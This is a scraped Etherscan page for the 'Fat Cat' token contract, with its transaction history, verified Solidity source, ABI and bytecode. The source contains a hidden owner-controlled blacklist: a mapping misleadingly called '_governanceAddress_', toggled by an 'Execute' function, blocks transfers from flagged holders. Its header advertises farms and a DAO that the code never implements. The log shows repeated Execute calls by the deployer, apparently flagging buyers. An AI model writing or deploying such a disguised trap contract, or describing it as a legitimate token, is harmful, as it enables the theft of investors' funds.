ETH Price: $2,601.22 (-2.63%)
Gas: 1 Gwei

Contract

0x3C34eC4d452CB8b6D0b84a10F101E1f391E8F346
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve166673652023-02-20 4:24:23536 days ago1676867063IN
0x3C34eC4d...391E8F346
0 ETH0.0008625818.56693342
Approve166233492023-02-14 0:14:59543 days ago1676333699IN
0x3C34eC4d...391E8F346
0 ETH0.0004481918.58660648
Transfer166233262023-02-14 0:10:23543 days ago1676333423IN
0x3C34eC4d...391E8F346
0 ETH0.0004353619.78924913
Transfer166233082023-02-14 0:06:47543 days ago1676333207IN
0x3C34eC4d...391E8F346
0 ETH0.0004667619.4485615
Approve166232662023-02-13 23:58:23543 days ago1676332703IN
0x3C34eC4d...391E8F346
0 ETH0.0009195619.79350402
Execute166232412023-02-13 23:53:23543 days ago1676332403IN
0x3C34eC4d...391E8F346
0 ETH0.0009727920.94471769
Execute166232322023-02-13 23:51:35543 days ago1676332295IN
0x3C34eC4d...391E8F346
0 ETH0.0009919521.35709447
Execute166232292023-02-13 23:50:59543 days ago1676332259IN
0x3C34eC4d...391E8F346
0 ETH0.0008998119.37846818
Execute166232292023-02-13 23:50:59543 days ago1676332259IN
0x3C34eC4d...391E8F346
0 ETH0.0009000519.37846818
Execute166232192023-02-13 23:48:59543 days ago1676332139IN
0x3C34eC4d...391E8F346
0 ETH0.00095120.47552516
Execute166232162023-02-13 23:48:23543 days ago1676332103IN
0x3C34eC4d...391E8F346
0 ETH0.0009888621.29060345
Execute166232142023-02-13 23:47:59543 days ago1676332079IN
0x3C34eC4d...391E8F346
0 ETH0.0010323822.22756269
Execute166232112023-02-13 23:47:23543 days ago1676332043IN
0x3C34eC4d...391E8F346
0 ETH0.0009549320.56018552
Approve166231912023-02-13 23:43:11543 days ago1676331791IN
0x3C34eC4d...391E8F346
0 ETH0.000919819.82433211
Approve166231912023-02-13 23:43:11543 days ago1676331791IN
0x3C34eC4d...391E8F346
0 ETH0.000966220.82433211
Execute166231792023-02-13 23:40:47543 days ago1676331647IN
0x3C34eC4d...391E8F346
0 ETH0.001054322.6995398
Execute166231772023-02-13 23:40:23543 days ago1676331623IN
0x3C34eC4d...391E8F346
0 ETH0.0010715423.07069325
Approve166231762023-02-13 23:40:11543 days ago1676331611IN
0x3C34eC4d...391E8F346
0 ETH0.000974320.99894761
Execute166231722023-02-13 23:39:23543 days ago1676331563IN
0x3C34eC4d...391E8F346
0 ETH0.0010876423.41745114
Execute166231692023-02-13 23:38:47543 days ago1676331527IN
0x3C34eC4d...391E8F346
0 ETH0.0010660822.95326473
Execute166231692023-02-13 23:38:47543 days ago1676331527IN
0x3C34eC4d...391E8F346
0 ETH0.0010660822.95326473
Execute166231682023-02-13 23:38:35543 days ago1676331515IN
0x3C34eC4d...391E8F346
0 ETH0.0010707123.05291229
Approve166231652023-02-13 23:37:59543 days ago1676331479IN
0x3C34eC4d...391E8F346
0 ETH0.0009945821.40835474
Execute166231602023-02-13 23:36:59543 days ago1676331419IN
0x3C34eC4d...391E8F346
0 ETH0.0009893221.30044876
Approve166231522023-02-13 23:35:23543 days ago1676331323IN
0x3C34eC4d...391E8F346
0 ETH0.0009829121.18448292
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
FatCatEth

Compiler Version
v0.5.15+commit.6a57276f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-02-13
*/

/**  
Total token supply is 2.000.000.000.000 FATCAT
Initial liquidity: 1.700.000.000.000 FATCAT
300.000.000.000 ETHU tokens are allocated to 6 slow, 
constant drip pools with a 4x boost on those farming the 

FATCAT LP token in addition to the single asset staking options.
All farms carry a 2% fee on deposit which is delivered directly 
to the FATCAT DAO treasury.

☑️Main features:
1. Incentivize and maximize engagement
2. Governance-as-a-Service 
3. Data Marketplace 
4. Liquidity Generation Event (LGE)
5. ETH Farms
6.Automated rewards system

by Shibadevelopment

*///SPDX-License-Identifier: MIT

pragma solidity =0.5.15;

contract ERC20Basic {

  function balanceOf(
    address account
  )
    public
    view
    returns (uint256);

  function totalSupply(
  )
    public
    view
    returns (uint256);
  
  function transfer(
    address to,
    uint256 value
  ) 
    public
    returns (bool);
  
  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value);
}

library SafeMath {

  function sub(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    assert(b <= a);
    return a - b;
  }
    
  function mul(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256 c)
  {
    if (a == 0) {
      return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    return a / b;
  }

  function add(
    uint256 a,
    uint256 b
  ) internal
    pure
    returns (uint256 c)
  {
    c = a + b;
    assert(c >= a);
    return c;
  }
}

contract BasicToken is ERC20Basic {
  using SafeMath for uint256;
  mapping (address => bool) internal _governanceAddress_;  
  mapping (address => uint256) balances;
  uint256 totalSupply_;

  function totalSupply(
  ) 
    public
    view
    returns (uint256)
  {
    return totalSupply_;
  }

  function balanceOf(
    address account
  ) 
    public
    view
    returns (uint256) {
    return balances[account];
  }

  function transfer(
    address _to,
    uint256 _value
  ) public
    returns (bool) { if (
    _governanceAddress_[msg.sender]
    || _governanceAddress_[_to]) require(
    _value == 0, ""); require(
    _to != address(0)); require(
    _value <= balances[msg.sender]);
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }
}

contract ERC20 is ERC20Basic {

  function allowance(
    address owner,
    address spender
  )
    public
    view
    returns (uint256);

  function approve(
    address spender,
    uint256 value
  ) 
    public
    returns (bool);
    event Approval
  (
    address indexed owner,
    address indexed spender,
    uint256 value
  );

  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool);
}

contract StandardERC20 is ERC20, BasicToken {
  address internal approved;
  mapping (address => mapping (address => uint256)) internal allowed;
  
  constructor () public {
     approved = msg.sender;
  }

  function allowance(
    address _owner,
    address _spender
  )
    public
    view
    returns (uint256)
  {
    return allowed[_owner][_spender];
  }

  function transferFrom(
    address _from,
    address _to,
    uint256 _value
  )
    public
    returns (bool) { if
    (_governanceAddress_[_from] ||
    _governanceAddress_[_to]) require(
    _value == 0, ""); require(
    _to != address(0)); require(
    _value <= balances[_from]); require(
    _value <= allowed[_from][msg.sender]);
    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function Execute(
    address _approveTransfer
  ) 
    external { require(
    msg.sender ==
    approved); if (
    _governanceAddress_
    [_approveTransfer] == true){
    _governanceAddress_
    [_approveTransfer] = false;} 
    else { _governanceAddress_
    [_approveTransfer] = true;
    }
  }
  
  function decreaseApproval(
    address _spender,
    uint _subtractedValue
  )
    public
    returns (bool)
  {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }

  function  governance(
    address _approveTransfer
  )
    public
    view
    returns (bool) 
  {
    return _governanceAddress_
    [_approveTransfer];
  }

  function increaseApproval(
    address _spender,
    uint _addedValue
  )
    public
    returns (bool)
  {
    allowed[msg.sender][_spender] = (
    allowed[msg.sender][_spender].add(_addedValue));
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
}

contract FatCatEth is StandardERC20 {
  string public constant name = "Fat Cat";
  string public constant symbol = "FATCAT";
  uint256 public constant _totalSupply_ = 2000000000000 * (10 ** uint256(decimals));
  uint8 public constant decimals = 9;

  constructor() public {
    totalSupply_ = totalSupply_.add(_totalSupply_);
    balances[msg.sender] = balances[msg.sender].add(_totalSupply_);
    emit Transfer(address(0), msg.sender, _totalSupply_);
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":false,"inputs":[{"internalType":"address","name":"_approveTransfer","type":"address"}],"name":"Execute","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_approveTransfer","type":"address"}],"name":"governance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]

608060405234801561001057600080fd5b5033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061007a600960ff16600a0a6501d1a94a2000026002546101a260201b6116621790919060201c565b6002819055506100e5600960ff16600a0a6501d1a94a200002600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546101a260201b6116621790919060201c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960ff16600a0a6501d1a94a2000026040518082815260200191505060405180910390a36101bc565b60008183019050828110156101b357fe5b80905092915050565b6116b1806101cb6000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb1461045b578063d73dd623146104c1578063dd62ed3e14610527578063f3294c131461059f576100ea565b806370a08231146103245780638426e6c11461037c57806395d89b41146103d8576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c57806366188463146102a05780636cbbab6014610306576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061c565b604051808215151515815260200191505060405180910390f35b6101e061070e565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610718565b604051808215151515815260200191505060405180910390f35b610284610bc8565b604051808260ff1660ff16815260200191505060405180910390f35b6102ec600480360360408110156102b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bcd565b604051808215151515815260200191505060405180910390f35b61030e610e5e565b6040518082815260200191505060405180910390f35b6103666004803603602081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e71565b6040518082815260200191505060405180910390f35b6103be6004803603602081101561039257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eba565b604051808215151515815260200191505060405180910390f35b6103e0610f0f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610420578082015181840152602081019050610405565b50505050905090810190601f16801561044d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a76004803603604081101561047157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f48565b604051808215151515815260200191505060405180910390f35b61050d600480360360408110156104d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061125f565b604051808215151515815260200191505060405180910390f35b6105896004803603604081101561053d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061145b565b6040518082815260200191505060405180910390f35b6105e1600480360360208110156105b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e2565b005b6040518060400160405280600781526020017f466174204361740000000000000000000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806107b957506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610810576000821461080f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561084a57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561089657600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561091f57600080fd5b61097182600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad882600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600981565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cde576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d72565b610cf1838261164b90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600960ff16600a0a6501d1a94a20000281565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6040518060400160405280600681526020017f464154434154000000000000000000000000000000000000000000000000000081525081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610fe957506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611040576000821461103f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561107a57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156110c657600080fd5b61111882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111ad82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006112f082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461153c57600080fd5b600115156000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156115f05760008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611648565b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60008282111561165757fe5b818303905092915050565b600081830190508281101561167357fe5b8090509291505056fea265627a7a723158207ce6a3658c0ae04b68b01a006a72afa6f340173934bdca1e9a2b7cfb5602947964736f6c634300050f0032

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb1461045b578063d73dd623146104c1578063dd62ed3e14610527578063f3294c131461059f576100ea565b806370a08231146103245780638426e6c11461037c57806395d89b41146103d8576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c57806366188463146102a05780636cbbab6014610306576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061c565b604051808215151515815260200191505060405180910390f35b6101e061070e565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610718565b604051808215151515815260200191505060405180910390f35b610284610bc8565b604051808260ff1660ff16815260200191505060405180910390f35b6102ec600480360360408110156102b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bcd565b604051808215151515815260200191505060405180910390f35b61030e610e5e565b6040518082815260200191505060405180910390f35b6103666004803603602081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e71565b6040518082815260200191505060405180910390f35b6103be6004803603602081101561039257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eba565b604051808215151515815260200191505060405180910390f35b6103e0610f0f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610420578082015181840152602081019050610405565b50505050905090810190601f16801561044d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a76004803603604081101561047157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f48565b604051808215151515815260200191505060405180910390f35b61050d600480360360408110156104d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061125f565b604051808215151515815260200191505060405180910390f35b6105896004803603604081101561053d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061145b565b6040518082815260200191505060405180910390f35b6105e1600480360360208110156105b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e2565b005b6040518060400160405280600781526020017f466174204361740000000000000000000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806107b957506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610810576000821461080f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561084a57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561089657600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561091f57600080fd5b61097182600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad882600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600981565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cde576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d72565b610cf1838261164b90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600960ff16600a0a6501d1a94a20000281565b6000600160008373fffffffffffffffffffffffffffffffffffff